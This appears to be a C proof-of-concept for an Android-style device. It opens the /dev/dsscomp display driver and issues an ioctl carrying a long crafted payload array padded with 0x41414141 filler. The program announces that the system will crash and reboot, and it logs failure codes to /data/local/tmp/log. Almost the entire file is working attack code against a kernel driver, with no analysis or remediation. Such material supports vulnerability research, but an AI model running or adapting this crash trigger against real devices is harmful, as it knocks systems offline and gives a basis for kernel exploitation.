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#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
const static char *driver = "/dev/dsscomp";
static command = 1118064517;
int main(int argc, char **argv, char **env) {
unsigned int payload[] = {
0xffffffff,
0x00000003,
0x5d200040,
0x79900008,
0x8f5928bd,
0x78b02422,
0x00000000,
0xffffffff,
0xf4c50400,
0x007fffff,
0x8499f562,
0xffff0400,
0x001b131d,
0x60818210,
0x00000007,
0xffffffff,
0x00000000,
0x9da9041c,
0xcd980400,
0x001f03f4,
0x00000007,
0x2a34003f,
0x7c80d8f3,
0x63102627,
0xc73643a8,
0xa28f0665,
0x00000000,
0x689e57b4,
0x01ff0008,
0x5e7324b1,
0xae3b003f,
0x0b174d86,
0x00000400,
0x21ffff37,
0xceb367a4,
0x00000040,
0x00000001,
0xec000f9e,
0x00000001,
0x000001ff,
0x00000000,
0x00000000,
0x0000000f,
0x0425c069,
0x038cc3be,
0x0000000f,
0x00000080,
0xe5790100,
0x5b1bffff,
0x0000d355,
0x0000c685,
0xa0070000,
0x0010ffff,
0x00a0ff00,
0x00000001,
0xff490700,
0x0832ad03,
0x00000006,
0x00000002,
0x00000001,
0x81f871c0,
0x738019cb,
0xbf47ffff,
0x00000040,
0x00000001,
0x7f190f33,
0x00000001,
0x8295769b,
0x0000003f,
0x869f2295,
0xffffffff,
0xd673914f,
0x05055800,
0xed69b7d5,
0x00000000,
0x0107ebbd,
0xd214af8d,
0xffff4a93,
0x26450008,
0x58df0000,
0xd16db084,
0x03ff30dd,
0x00000001,
0x209aff3b,
0xe7850800,
0x00000002,
0x30da815c,
0x426f5105,
0x0de109d7,
0x2c1a65fc,
0xfcb3d75f,
0x00000000,
0x00000001,
0x8066be5b,
0x00000002,
0xffffffff,
0x5cf232ec,
0x680d1469,
0x00000001,
0x00000020,
0xffffffff,
0x00000400,
0xd1d12be8,
0x02010200,
0x01ffc16f,
0xf6e237e6,
0x007f0000,
0x01ff08f8,
0x000f00f9,
0xbad07695,
0x00000000,
0xbaff0000,
0x24040040,
0x00000006,
0x00000004,
0x00000000,
0xbc2e9242,
0x009f5f08,
0x00800000,
0x00000000,
0x00000001,
0xff8800ff,
0x00000001,
0x00000000,
0x000003f4,
0x6faa8472,
0x00000400,
0xec857dd5,
0x00000000,
0x00000040,
0xffffffff,
0x3f004874,
0x0000b77a,
0xec9acb95,
0xfacc0001,
0xffff0001,
0x0080ffff,
0x3600ff03,
0x00000001,
0x8fff7d7f,
0x6b87075a,
0x00000000,
0x41414141,
0x41414141,
0x41414141,
0x41414141,
0x001001ff,
0x00000000,
0x00000001,
0xff1f0512,
0x00000001,
0x51e32167,
0xc18c55cc,
0x00000000,
0xffffffff,
0xb4aaf12b,
0x86edfdbd,
0x00000010,
0x0000003f,
0xabff7b00,
0xffff9ea3,
0xb28e0040,
0x000fffff,
0x458603f4,
0xffff007f,
0xa9030f02,
0x00000001,
0x002cffff,
0x9e00cdff,
0x00000004,
0x41414141,
0x41414141,
0x41414141,
0x41414141 };
int fd = 0;
fd = open(driver, O_RDWR);
if (fd < 0) {
printf("Failed to open %s, with errno %d\n", driver, errno);
system("echo 1 > /data/local/tmp/log");
return -1;
}
printf("Try open %s with command 0x%x.\n", driver, command);
printf("System will crash and reboot.\n");
if(ioctl(fd, command, &payload) < 0) {
printf("Allocation of structs failed, %d\n", errno);
system("echo 2 > /data/local/tmp/log");
return -1;
}
close(fd);
return 0;
}
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